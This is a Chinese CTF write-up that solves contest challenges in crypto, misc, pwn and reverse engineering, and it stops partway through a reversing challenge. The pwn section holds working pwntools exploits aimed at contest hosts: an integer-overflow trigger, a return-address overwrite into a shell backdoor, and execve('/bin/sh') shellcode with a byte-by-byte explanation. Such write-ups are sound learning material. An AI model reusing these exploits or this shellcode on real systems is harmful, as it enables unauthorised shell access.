Crypto

1.初识rsa

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from Crypto.Util.number import *
import hashlib

key=b'??????'
assert len(key)==6
KEY = hashlib.md5(key).hexdigest().encode()
print('KEY=',KEY)

flag=b'flag{?????????????}'

m=bytes_to_long(flag)

e=65537
p=getPrime(512)
q=getPrime(512)
n=pow(p,3)* pow(q,2)
c=pow(m,e,n)

P=p^(bytes_to_long(key))

print("P=",P)
print("n=",n)
print("c=",c)

'''
KEY = b'5ae9b7f211e23aac3df5f2b8f3b8eada'
P= 8950704257708450266553505566662195919814660677796969745141332884563215887576312397012443714881729945084204600427983533462340628158820681332200645787691506
n= 44446616188218819786207128669544260200786245231084315865332960254466674511396013452706960167237712984131574242297631824608996400521594802041774252109118569706894250996931000927100268277762882754652796291883967540656284636140320080424646971672065901724016868601110447608443973020392152580956168514740954659431174557221037876268055284535861917524270777789465109449562493757855709667594266126482042307573551713967456278514060120085808631486752297737122542989222157016105822237703651230721732928806660755347805734140734412060262304703945060273095463889784812104712104670060859740991896998661852639384506489736605859678660859641869193937584995837021541846286340552602342167842171089327681673432201518271389316638905030292484631032669474635442148203414558029464840768382970333
c= 42481263623445394280231262620086584153533063717448365833463226221868120488285951050193025217363839722803025158955005926008972866584222969940058732766011030882489151801438753030989861560817833544742490630377584951708209970467576914455924941590147893518967800282895563353672016111485919944929116082425633214088603366618022110688943219824625736102047862782981661923567377952054731667935736545461204871636455479900964960932386422126739648242748169170002728992333044486415920542098358305720024908051943748019208098026882781236570466259348897847759538822450491169806820787193008018522291685488876743242619977085369161240842263956004215038707275256809199564441801377497312252051117441861760886176100719291068180295195677144938101948329274751595514805340601788344134469750781845
'''

先倒查md5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from Cryptodome.Util.number import *
from Cryptodome.Util.number import long_to_bytes as l2b
from Cryptodome.Util.number import bytes_to_long as b2l
import gmpy2

e=65537
P= 8950704257708450266553505566662195919814660677796969745141332884563215887576312397012443714881729945084204600427983533462340628158820681332200645787691506
n= 44446616188218819786207128669544260200786245231084315865332960254466674511396013452706960167237712984131574242297631824608996400521594802041774252109118569706894250996931000927100268277762882754652796291883967540656284636140320080424646971672065901724016868601110447608443973020392152580956168514740954659431174557221037876268055284535861917524270777789465109449562493757855709667594266126482042307573551713967456278514060120085808631486752297737122542989222157016105822237703651230721732928806660755347805734140734412060262304703945060273095463889784812104712104670060859740991896998661852639384506489736605859678660859641869193937584995837021541846286340552602342167842171089327681673432201518271389316638905030292484631032669474635442148203414558029464840768382970333
c= 42481263623445394280231262620086584153533063717448365833463226221868120488285951050193025217363839722803025158955005926008972866584222969940058732766011030882489151801438753030989861560817833544742490630377584951708209970467576914455924941590147893518967800282895563353672016111485919944929116082425633214088603366618022110688943219824625736102047862782981661923567377952054731667935736545461204871636455479900964960932386422126739648242748169170002728992333044486415920542098358305720024908051943748019208098026882781236570466259348897847759538822450491169806820787193008018522291685488876743242619977085369161240842263956004215038707275256809199564441801377497312252051117441861760886176100719291068180295195677144938101948329274751595514805340601788344134469750781845

key=b"crypto"
keynum=b2l(key)
p=P^keynum
sq_q=n//(p3)
q=gmpy2.iroot(sq_q,2)[0]
phin = (p
3 - p**2) * (q**2 - q)
d=pow(e,-1,phin)
m=pow(c,d,n)

print(l2b(m))

这里第一次遇到形如如

$ n=p^aq^b $

的模数,对应的phi(n)的解法如下

$ \varphi(n)=(p^a-p^{a-1})(q^b-q^{b-1}) $

b'flag{W3lc0me_t0_4h3_w0rl4_0f_Cryptoooo!}'

2.Sagemath使用指哪?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# Sage 9.3

key=1
G = PSL(2, 11)
key*=G.order()
G = CyclicPermutationGroup(11)
key*=G.order()
G = AlternatingGroup(114)
key*=G.order()
G = PSL(4, 7)
key*=G.order()
G = PSU(3, 4)
key*=G.order()
G = MathieuGroup(12)
key*=G.order()

c=91550542840025722520458836108112308924742424464072171170891749838108012046397534151231852770095499011

key=(int(str(bin(key))[2:][0:42*8],2))
m=c^^key
f=[]
while m>0:
x=m%256
f.append(chr(x))
m//=256
f.reverse()
flag="".join(i for i in f )
print(flag)

flag{e142d08c-7e7d-43ed-b5ad-af51ffc512ee}

3.唯一表示

题目内容:

不要把鸡蛋放在同一个篮子里

【难度:中等】

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from sympy.ntheory.modular import crt
from Crypto.Util.number import bytes_to_long
from sympy import primerange
import uuid

# 生成素数列表
primes = list(primerange(2, 114514))

# 生成随机 flag,并转换为整数
flag = "flag{" + str(uuid.uuid4()) + "}"
message_int = bytes_to_long(flag.encode())

def fun(n: int):
"""
给定整数 n,返回它对若干个素数模的余数列表,
直到用这些余数和模数 CRT 重建出的值恰好等于 n。
"""
used_primes = [2] # 当前使用的素数列表,先用 2 开始
prime_index = 1 # primes[0] 已用,从 primes[1] 开始
while True:
# 计算 n 对当前所有模数的余数
remainders = [n % p for p in used_primes]

# 用 CRT 尝试重建 n
reconstructed, _ = crt(used_primes, remainders)

# 如果重建成功,返回余数列表
if reconstructed == n:
return remainders

# 否则继续添加新的素数,扩大模数集合
used_primes.append(primes[prime_index])
prime_index += 1

# 计算 message_int 的余数表示
c = fun(message_int)

print(c)


"""
[1, 2, 2, 4, 0, 2, 11, 11, 8, 23, 1, 30, 35, 0, 18, 30, 55, 60, 29, 42, 8, 13, 49, 11, 69, 26, 8, 73, 84, 67, 100, 9, 77, 72, 127, 49, 57, 74, 70, 129, 146, 45, 35, 180, 196, 101, 100, 146, 100, 194, 2, 161, 35, 155]
"""

CRT,参考我之前写的

低指数加密攻击

1
2
3
4
5
6
7
8
from sympy import primerange
from sympy.ntheory.modular import crt
from Cryptodome.Util.number import long_to_bytes

c = [1, 2, 2, 4, 0, 2, 11, 11, 8, 23, 1, 30, 35, 0, 18, 30, 55, 60, 29, 42, 8, 13, 49, 11, 69, 26, 8, 73, 84, 67, 100, 9, 77, 72, 127, 49, 57, 74, 70, 129, 146, 45, 35, 180, 196, 101, 100, 146, 100, 194, 2, 161, 35, 155]
primes = list(primerange(2, 114514))[:len(c)]
message_int, M = crt(primes, c)
print(long_to_bytes(message_int))

b'flag{9c8589c2-aecb-4ec4-b027-654bc322e2d1}'

4.随机数之旅1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import uuid
from Crypto.Util.number import getPrime, bytes_to_long
import random

# 生成随机 flag 并转换为整数
flag = "flag{" + str(uuid.uuid4()) + "}"
message_int = bytes_to_long(flag.encode())

# 生成两个素数:
# p 的比特长度比 message_int 略大
# a 的比特长度和 p 相同
p = getPrime(message_int.bit_length() + 3)
a = getPrime(p.bit_length())

print(f"a = {a}")
print(f"p = {p}")

# hint 序列:以随机数为起点,按递推关系生成 5 次
# hint[i+1] = (a * hint[i] + message_int) mod p
hint_values = [random.randint(1, p - 1)]

for _ in range(5):
next_value = (a * hint_values[-1] + message_int) % p
hint_values.append(next_value)

print("hint =", hint_values)

"""
a = 295789025762601408173828135835543120874436321839537374211067344874253837225114998888279895650663245853
p = 516429062949786265253932153679325182722096129240841519231893318711291039781759818315309383807387756431
hint = [184903644789477348923205958932800932778350668414212847594553173870661019334816268921010695722276438808, 289189387531555679675902459817169546843094450548753333994152067745494929208355954578346190342131249104, 511308006207171169525638257022520734897714346965062712839542056097960669854911764257355038593653419751, 166071289874864336172698289575695453201748407996626084705840173384834203981438122602851131719180238215, 147110858646297801442262599376129381380715215676113653296571296956264538908861108990498641428275853815, 414834276462759739846090124494902935141631458647045274550722758670850152829207904420646985446140292244]

"""

p 的比特长度比 message_int 略大

a 的比特长度和 p 相同

这两句话就代表了我们可以直接利用

$ message_int = (hint[i+1] - a * hint[i]) % p $

来计算唯一的m。以下是代码实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from Cryptodome.Util.number import long_to_bytes

a = 295789025762601408173828135835543120874436321839537374211067344874253837225114998888279895650663245853
p = 516429062949786265253932153679325182722096129240841519231893318711291039781759818315309383807387756431
hint = [
184903644789477348923205958932800932778350668414212847594553173870661019334816268921010695722276438808,
289189387531555679675902459817169546843094450548753333994152067745494929208355954578346190342131249104,
511308006207171169525638257022520734897714346965062712839542056097960669854911764257355038593653419751,
166071289874864336172698289575695453201748407996626084705840173384834203981438122602851131719180238215,
147110858646297801442262599376129381380715215676113653296571296956264538908861108990498641428275853815,
414834276462759739846090124494902935141631458647045274550722758670850152829207904420646985446140292244
]

message_int = (hint[1] - a * hint[0]) % p

flag_bytes = long_to_bytes(message_int)
flag = flag_bytes.decode('utf-8')

print("Recovered flag:", flag)

#当然,如果不放心是否唯一就加检验:
# assert message_int == (hint[2] - a * hint[1]) % p
# assert message_int == (hint[3] - a * hint[2]) % p
# assert message_int == (hint[4] - a * hint[3]) % p
# assert message_int == (hint[5] - a * hint[4]) % p

5.小跳蛙

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
banner = """
Welcome to Cathylin's cryptography learning platform, where we learn an algorithm through an interesting problem.

There is a frog on the grid point (a, b). When a > b, it will jump to (a-b, b); when a < b, it will jump to (a, b-a); and when a = b, it will stay where it is.

Next, I will provide five sets of (a, b), and please submit the final position (x, y) of the frog in sequence

If you succeed, I will give you a mysterious flag.
"""
translation:
"""
欢迎来到 Cathylin 的加密学习平台,我们通过有趣的问题来学习算法。

在网格点 (a, b) 上有一只青蛙。当 a > b 时,青蛙跳到 (a-b, b);当 a < b 时,青蛙跳到 (a, b-a);当 a = b 时,青蛙停留在当前位置。

接下来,我将提供五组 (a, b) 数据,请按顺序提交青蛙的最终位置 (x, y)。

如果你成功了,我将给你一个神秘的 flag。
"""
print(banner)

import re
import random
from secret import flag


cnt = 0
while cnt < 5:
a = random.randint(1, 10(cnt+1))
b = random.randint(1, 10
(cnt+1))
print( str(cnt+1) + ".(a,b) is: (" + str(a) + "," + str(b) + ")")
user_input = input("Please input the final position of the frog (x,y) :")
pattern = r'[()]?(\d+)[,\s]+(\d+)[)]?'
match = re.match(pattern, user_input.strip())
if match:
x, y = map(int, match.groups())
else:
print("Unable to parse the input. Please check the format and re-enter")
continue

original_a, original_b = a, b
while a != b:
if a > b:
a = a - b
else:
b = b - a

if x == a and y == b:
print("Congratulations, you answered correctly! Keep going for " + str(4-cnt) + " more times and you will get the mysterious flag!")
cnt += 1
else:
print("Unfortunately, you answered incorrectly. The correct answer is({}, {}). Please start learning again".format(a, b))
break

if cnt == 5:
print("Congratulations, you answered all the questions correctly!")
print("Mysterious Flag:" + flag)

核心算法就是这个

1
2
3
4
5
while a != b:
if a > b:
a = a - b
else:
b = b - a

所以wp很简单就写出来了:

1
2
3
4
5
6
7
8
9
10
a=int(input("a="))
b=int(input("b="))

while a != b:
if a > b:
a = a - b
else:
b = b - a

print("(",a,",",b,")",sep="")

手动拷贝一下就行,当然也可以写成自动的像pwn的题目一样。

6.random1.3

腾讯元宝

7.random1.9

腾讯元宝

Misc

1.我不要革命失败

按照提示扔到windbg中分析,结果如上,扔给AI分析就行了

1
flag{CRITICAL_PROCESS_DIED_svchost.exe}

2.OSINT-天空belong

B-7198

跟踪一下这个即可。

B-7198 航班跟踪和历史数据 2025年 08月 17日 (TNA / ZSJN-CSX / ZGHA) - FlightAware

flag{UQ3574_武汉市_Xiaomi}

3.MISC城邦-压缩术

题目内容:

欢迎挑战者们来到压缩术的考验关卡,本关考察压缩术的综合使用,请挑战者们通过6位密码门开始挑战吧!(要想使用压缩术,请先念咒语”abcd…xyz0123…789”)

【难度:简单】

所以是6位数字+小写字母的第一轮爆破:

ns2025

接下来是伪加密:

恭喜你,通过了第一道考验,请用其他压缩魔法打开下一扇门吧!(下一扇门明明没有密码,为什么还是要输入密码呢?)

BUUCTF-MISC-11zip伪加密_buuctf zip伪加密-CSDN博客

伪加密标识修改即可:

对比了一下zip里面的key和外面的key字节数相同,试一试明文攻击:

我用的是这个软件,但是这个软件跑明文跑不出来避雷。。

sq告诉我换一个软件:bkcrack

用法

bkcrack -C 加密的zip -c 明文文件(zip当中的那个) -p 明文文件(zip外的)

跑出来结果了:c5a43985 0efe59a5 5dfb3167

bkcrack -C 加密的zip -k 密钥 -D 解密的文件

解密即可flag{You_have_mastered_the_zip_magic!}

4.EZ-fence

题目内容:

rar发现一张残缺的照片竟然需要4颗钉子才能钉住,照片里面似乎藏着秘密。

【难度:简单】

binwalk -e file分离出了

rdh9zfwzSgOVA7GWtLPQJK=vwuZvjhvPyyvjnMWoSotB

改宽高的部分参考sqwp

之前其实我想到了改宽高 但是改了之后图片直接乱码了,我就以为只有png能改宽高。。

改完发现多了:

8426513709qazwsxedcrfvtgbyhnujmikop1QWSAERFDTYHGUIKJOPLMNBVCXZ-_

长度是64,所以猜测是base64~~rdh9zfwzSgOVA7GWtLPQJK=vwuZvjhvPyyvjnMWoSotB~~

卧槽这里识别错了,识别完记得对一下。。卡了我半天

rdh9zfwzSgoVA7GWtLPQJK=vwuZvjhvPyyvjnMWoSotB

--W型栅栏密码分4栏-→``rSvMwgdouWZVhAvoj79GhSvWztPoyLfPytvQwJjBnKz=

5.前有文字,所以搜索很有用

Track1

参考:

零宽度字符:和谐?屏蔽?不存在的

https://juejin.cn/post/6844903669192720391

零宽字符解密

http://330k.github.io/misc_tools/unicode_steganography.html

零宽字符本质是用没有“宽度”即__不可见的,不可打印的字符

这里txt文档当中已经提示了用了哪些零宽方式,所以在用网站的时候勾选对应的即可:

ZmxhZ3t5b3Vf

base64flag{you_

Track2

工具网站:

CTF在线工具-在线Brainfuck加密|在线Brainfuck解密|Brainfuck|Brainfuck原理|Brainfuck算法

一眼brainfuck

brainfuckisgooooood

以下参考了sq的wp,我真的做不出来了我求你了

snow加密

所以说其实并不用直接用word来做,放txt中:

----- ...- ...-- .-. -.-. ....- -- . ..--.-摩斯电码:0V3RC4ME_

Track3

乱码,参考了这篇文章:

多件套隐写 - ^cyi^ - 博客园

随波逐流才发现也可以。。

词频统计发现最后一段flag

cH@1LenG3s}

flag{you_``0V3RC4ME_``cH@1LenG3s}

pwn

1.pwn’s door

flag{e7b29018-0b54-4751-aa0a-754ab651bbad}

2.INTbug

1
2
3
4
5
6
7
8
int __fastcall main(int argc, const char argv, const char envp)
{
init(argc, argv, envp);
puts("welcome to NewStarCTF2025!\n");
alarm(0x64u);
func();
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned __int64 func()
{
__int16 v1; // [rsp+2h] [rbp-Eh]
int v2; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
v1 = 0;
while ( 1 )
{
v2 = 0;
__isoc99_scanf(&unk_2008, &v2);
if ( v2 <= 0 )
break;
if ( ++v1 < 0 )
{
puts("You got it!\n");
system("cat flag");
}
}
puts("You can only input positive number!\n");
return v3 - __readfsqword(0x28u);
}

这道题主要是考了v1是16位的整数溢出,每次输入v2都会让v1自增,所以我们输入次数大于$ 2^{15}-1=32767 $即可:

1
2
3
4
5
6
7
8
from pwn import *

r = remote("8.147.132.32", 13502)
r.recvuntil(b"welcome to NewStarCTF2025!\n")
payload = b"1\n" * 32768
r.send(payload)

r.interactive()

flag{80e40b80-2357-4c61-a3ae-52b6cc432ca6}

undo3.GNU Debugger

0x1f6a24b448df585f

GDB_IS_POWERFUL

。。。

手动输入之后就好了。。GDB_IS_POWERFUL

第三关应该是打断点:

先读取一下这个地址的值,发现确实是1,按照他的向导来看就是需要把这个地方的0x1改为0xdeadbeef

set {int}0x7fffffffdc24 = 0xdeadbeef,在确认一遍:

flag{2fcc515b-dab2-4e62-9d22-837f2823e5fc}

4.overflow

1
2
3
4
5
6
7
8
9
void __cdecl try()
{
char buffer[256]; // [rsp+0h] [rbp-100h] BYREF

memset(buffer, 0, sizeof(buffer));
puts("Now,Try to exploit it as I done and get the shell!");
puts("Enter your input:");
gets(buffer);
}
1
2
3
4
5
6
void __cdecl backd00r()
{
puts("Congratulations! You have found the backdoor!");
puts("You can now execute any command you want.");
system("/bin/sh");
}

利用溢出覆盖返回地址到后门函数。

参考ctfshow pwn38

1
2
3
4
5
6
7
8
9
from pwn import *
p = remote("39.106.48.123", 30607)

offset=0x100+0x8
getflag_addr=0x401200
gflea_addr=0x401233 #这里也可以是gfretn的地址
payload=b'a'*offset + p64(gflea_addr) + p64(getflag_addr)
p.sendlineafter(b'input:\n', payload)
p.interactive()

5.input_fuction

1
2
3
4
5
6
7
8
9
10
11
int __fastcall main(int argc, const char argv, const char envp)
{
void *buf; // [rsp+8h] [rbp-8h]

init(argc, argv, envp);
buf = mmap((void *)0x114514, 0x1000uLL, 7, 34, -1, 0LL);
puts("please input a function(after compile)");
read(0, buf, 0x500uLL);
((void (*)(void))buf)();
return 0;
}

buf = mmap((void *)0x114514, 0x1000uLL, 7, 34, -1, 0LL);

→在0x114514(映射的期望起始地址)分配了一块0x1000uLL大小的区域,这里的“7”表示如下:

所以我可以

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

# 连接到远程服务(替换为实际地址和端口)
p = remote('8.147.132.32', 36139)

# shellcode 等同于 'execve("/bin/sh", 0, 0)'
shellcode = (b"\x48\x31\xf6" #xor rsi, rsi 将 RSI 寄存器清零(用于第二个参数 argv)
b"\x56" #push rsi 将 0 压入栈(字符串终止符)
b"\x48\xbf \x2f\x62\x69\x6e\x2f\x2f\x73\x68"
#mov rdi, 0x68732f2f6e69622f(→/bin//sh,用双斜杠是因为需要转义)
b"\x57" #push rdi 将字符串地址压入栈
b"\x54" #push rsp 将当前栈指针压入栈
b"\x5f" #pop rdi 将栈顶弹出到 RDI(现在 RDI 指向字符串地址)
b"\x6a\x3b" #push 0x3b 将系统调用号 59 (execve) 压入栈
b"\x58" #pop rax 将系统调用号弹出到 RAX
b"\x99" #cdq 将 RDX 清零(用于第三个参数 envp)
b"\x0f\x05") #syscall 执行系统调用

#当然也可以连着:shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"

p.sendlineafter(b'compile)\n', shellcode)
p.interactive()

如果我想执行system(‘/bin/sh’)可以这样发payload吗?

reverse

1.xor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
int __fastcall main(int argc, const char argv, const char envp)
{
char Str2[32]; // [rsp+20h] [rbp-60h] BYREF
char v5[16]; // [rsp+40h] [rbp-40h]
char Str[36]; // [rsp+50h] [rbp-30h] BYREF
int v7; // [rsp+74h] [rbp-Ch]
int j; // [rsp+78h] [rbp-8h]
int i; // [rsp+7Ch] [rbp-4h]

_main();
puts("Please input your flag: ");
scanf("%25s", Str);
v7 = strlen(Str);
if ( v7 == 24 )
{
for ( i = 0; i < v7; ++i )
{
if ( i % 3 )
{
if ( i % 3 == 1 )
Str[i] ^= 0x11u;
else
Str[i] ^= 0x45u;
}
else
{
Str[i] ^= 0x14u;
}
}
v5[0] = 19;
v5[1] = 19;
v5[2] = 81;
for ( j = 0; j < v7; ++j )
Str[j] ^= v5[j % 3];
strcpy(Str2, "anu`ym7wKLl$P]v3q%D]lHpi");
if ( !strcmp(Str, Str2) )
puts("Right flag!");
else
puts("Wrong flag!");
return 0;
}
else
{
puts("Wrong flag length!");
return 0;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def decrypt(flag_encrypted):
# 第二轮异或
v5 = [19, 19, 81]
flag_decrypted_2 = []
for i, char in enumerate(flag_encrypted):
flag_decrypted_2.append(chr(ord(char) ^ v5[i % 3]))

# 第一轮异或
for i in range(len(flag_decrypted_2)):
if i % 3 == 0:
flag_decrypted_2[i] = chr(ord(flag_decrypted_2[i]) ^ 0x14)
elif i % 3 == 1:
flag_decrypted_2[i] = chr(ord(flag_decrypted_2[i]) ^ 0x11)
else:
flag_decrypted_2[i] = chr(ord(flag_decrypted_2[i]) ^ 0x45)

# 返回解密后的 flag
return ''.join(flag_decrypted_2)


# 正确的 flag 加密字符串
encrypted_flag = "anu`ym7wKLl$P]v3q%D]lHpi"

# 调用解密函数
decrypted_flag = decrypt(encrypted_flag)
print("Decrypted flag:", decrypted_flag)

flag{y0u_Kn0W_b4s1C_xOr}

2.Strange Base

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
__int64 __fastcall main()
{
int v0; // eax
size_t v1; // rax
unsigned __int8 enc[37]; // [rsp+20h] [rbp-90h] BYREF
unsigned __int8 output[48]; // [rsp+50h] [rbp-60h] BYREF
unsigned __int8 input[48]; // [rsp+80h] [rbp-30h] BYREF

_main();
memset(input, 0, sizeof(input));
memset(output, 0, sizeof(output));
puts("It's time to show your flag to me~~~");
strcpy((char *)enc, "T>6uTqOatL39aP!YIqruyv(YBA!8y7ouCa9=");
scanf_s("%s", input);
v0 = strlen((const char *)input);
base64_encode(input, (char *)output, v0);
v1 = strlen((const char *)enc);
if ( !memcmp(output, enc, v1) )
printf("Oh! You're awesome!!!");
else
puts("Wrong!");
return 0i64;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
char *__cdecl base64_encode(const unsigned __int8 *bindata, char *base64, int binlength)
{
int v3; // eax
int v4; // eax
int v5; // eax
int v6; // eax
int v7; // eax
unsigned __int8 current; // [rsp+7h] [rbp-9h]
unsigned __int8 currenta; // [rsp+7h] [rbp-9h]
int j; // [rsp+8h] [rbp-8h]
int ja; // [rsp+8h] [rbp-8h]
int jb; // [rsp+8h] [rbp-8h]
int i; // [rsp+Ch] [rbp-4h]

i = 0;
j = 0;
while ( i < binlength )
{
v3 = j;
ja = j + 1;
base64[v3] = aHelloACrqzyB4s[(bindata[i] >> 2) & 0x3F];
current = (16 * bindata[i]) & 0x30;
if ( binlength <= i + 1 )
{
base64[ja] = aHelloACrqzyB4s[current];
base64[ja + 1] = 61;
v4 = ja + 2;
j = ja + 3;
base64[v4] = 61;
break;
}
v5 = ja;
jb = ja + 1;
base64[v5] = aHelloACrqzyB4s[(bindata[i + 1] >> 4) | current];
currenta = (4 * bindata[i + 1]) & 0x3C;
if ( binlength <= i + 2 )
{
base64[jb] = aHelloACrqzyB4s[currenta];
v6 = jb + 1;
j = jb + 2;
base64[v6] = 61;
break;
}
base64[jb] = aHelloACrqzyB4s[(bindata[i + 2] >> 6) | currenta];
v7 = jb + 1;
j = jb + 2;
base64[v7] = aHelloACrqzyB4s[bindata[i + 2] & 0x3F];
i += 3;
}
base64[j] = 0;
return base64;
}
1
2
3
4
5
.rdata:0000000140004000 aHelloACrqzyB4s db 'HElLo!A=CrQzy-B4S3|is',27h,'waITt1ng&Y0u^{/(>v<)*}GO~256789pPqWXV'
.rdata:0000000140004000 ; DATA XREF: base64_encode+41↑o
.rdata:0000000140004000 ; base64_encode+8C↑o ...
.rdata:000000014000403B db 'KJNMF',0
.rdata:0000000140004041 align 8

就是base64的变形,编码表=

HElLo!A=CrQzy-B4S3|is'waITt1ng&Y0u^{/(>v<)*}GO~256789pPqWXVKJNMF

(27h对应的ASCII码是',把后面的KJNMF拼上发现刚好是64个字符,更加确定这就是编码表)

3.Puzzle

拼flag:

flag1\2

flag2

flag3

存在一个异或:

提取出来异或回去即可:

flag4(string视图即可找到)

flag{Do_Y0u_Like_7his_Jigs@w_puzz1e_Gam3}

4.EzMyDroid

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package work.pangbai.ezmydroid;

import android.os.Bundle;
import android.util.Log;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.Toast;
import androidx.fragment.app.Fragment;
import work.pangbai.ezmydroid.databinding.FragmentFirstBinding;

/* loaded from: classes2.dex */
public class FirstFragment extends Fragment {
private FragmentFirstBinding binding;

@Override // androidx.fragment.app.Fragment
public View onCreateView(LayoutInflater layoutInflater, ViewGroup viewGroup, Bundle bundle) {
FragmentFirstBinding inflate = FragmentFirstBinding.inflate(layoutInflater, viewGroup, false);
this.binding = inflate;
return inflate.getRoot();
}

@Override // androidx.fragment.app.Fragment
public void onViewCreated(View view, Bundle bundle) {
super.onViewCreated(view, bundle);
this.binding.checkFlag.setOnClickListener(new View.OnClickListener() { // from class: work.pangbai.ezmydroid.FirstFragment.1
@Override // android.view.View.OnClickListener
public void onClick(View view2) {
try {
String encrypt = AESECBUtils.encrypt(FirstFragment.this.binding.input.getText().toString(), "1145141919810000");
Log.i("result", encrypt);
if (encrypt.equals("cTz2pDhl8fRMfkkJXfqs2t8JBsqLkvQZDLYpWjEtkLE=")) {
Toast.makeText(FirstFragment.this.getContext(), "Right !!!", 0).show();
} else {
Toast.makeText(FirstFragment.this.getContext(), "Wrong !!!", 0).show();
}
} catch (Exception unused) {
}
}
});
}

@Override // androidx.fragment.app.Fragment
public void onDestroyView() {
super.onDestroyView();
this.binding = null;
}
}

结合加解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package work.pangbai.ezmydroid;

import java.util.Base64;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;

/* loaded from: classes2.dex */
public class AESECBUtils {
private static final String ALGORITHM = "AES";
private static final String TRANSFORMATION = "AES/ECB/PKCS5Padding";

public static String encrypt(String str, String str2) throws Exception {
SecretKeySpec secretKeySpec = new SecretKeySpec(str2.getBytes(), ALGORITHM);
Cipher cipher = Cipher.getInstance(TRANSFORMATION);
cipher.init(1, secretKeySpec);
return Base64.getEncoder().encodeToString(cipher.doFinal(str.getBytes("UTF-8")));
}

public static String decrypt(String str, String str2) throws Exception {
SecretKeySpec secretKeySpec = new SecretKeySpec(str2.getBytes(), ALGORITHM);
Cipher cipher = Cipher.getInstance(TRANSFORMATION);
cipher.init(2, secretKeySpec);
return new String(cipher.doFinal(Base64.getDecoder().decode(str)), "UTF-8");
}
}

所以根据上面得到的写个解密代码即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from Cryptodome.Cipher import AES
import base64

key = b"1145141919810000"
ciphertext_b64 = "cTz2pDhl8fRMfkkJXfqs2t8JBsqLkvQZDLYpWjEtkLE="

ciphertext = base64.b64decode(ciphertext_b64)
print(ciphertext)#base64解密


cipher = AES.new(key, AES.MODE_ECB)
plaintext = cipher.decrypt(ciphertext)# AES-ECB解密
print("Flag:", plaintext.decode())

# 移除PKCS#7填充(其实这一步可以要可以不要解密出来删就是了)
pad_len = plaintext[-1]
flag = plaintext[:-pad_len].decode()
print("Flag:", flag)

Flag: flag{@_g00d_st@r7_f0r_ANDROID}

5.plzdebugme

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
int __fastcall main(int argc, const char argv, const char envp)
{
int v3; // eax
char c; // [rsp+Fh] [rbp-5E1h]
uint32_t v[2]; // [rsp+28h] [rbp-5C8h] BYREF
uint32_t k[4]; // [rsp+30h] [rbp-5C0h] BYREF
RC4_CTX rc4; // [rsp+40h] [rbp-5B0h] BYREF
uint8_t rc4_key[4]; // [rsp+150h] [rbp-4A0h] BYREF
uint8_t chacha_nonce[12]; // [rsp+154h] [rbp-49Ch]
uint8_t aes_key[16]; // [rsp+160h] [rbp-490h] BYREF
uint8_t aes_iv[16]; // [rsp+170h] [rbp-480h] BYREF
uint8_t chacha_key[32]; // [rsp+180h] [rbp-470h]
uint8_t rc4_out[32]; // [rsp+1A0h] [rbp-450h] BYREF
uint8_t aes_out[32]; // [rsp+1C0h] [rbp-430h] BYREF
uint8_t out[32]; // [rsp+1E0h] [rbp-410h] BYREF
unsigned __int64 v17; // [rsp+5E8h] [rbp-8h]

v17 = __readfsqword(0x28u);
printf(" Debug is important!!!.\n");
printf("You can get the flag directly by debugging\n");
printf("The debugging process is similar to that of Windows\n");
printf("HINT: You can find the flag character style in the function x0r(), break on it\n");
hexchar2int(c);
*(_QWORD *)chacha_key = 0xA9A8A7A6A5A4A3A2LL;
*(_QWORD *)&chacha_key[8] = 0xC2C1B6B5B9B5B3B1LL;
*(_QWORD *)&chacha_key[16] = 0LL;
*(_QWORD *)&chacha_key[24] = 0LL;
*(_QWORD *)chacha_nonce = 0x69D4D4DDDD4D2D5LL;
*(_DWORD *)&chacha_nonce[8] = 0;
strcpy((char *)rc4_key, "Wow");
v3 = strlen((const char *)rc4_key);
rc4_init(&rc4, rc4_key, v3);
rc4_crypt(&rc4, ciphertext, rc4_out, 32);
*(_QWORD *)aes_key = 0xA6D2AE2816157E2BLL;
*(_QWORD *)&aes_key[8] = 0x1141467597F7ABLL;
*(_QWORD *)aes_iv = 0x4511144511144511LL;
*(_QWORD *)&aes_iv[8] = 0x1114451114451114LL;
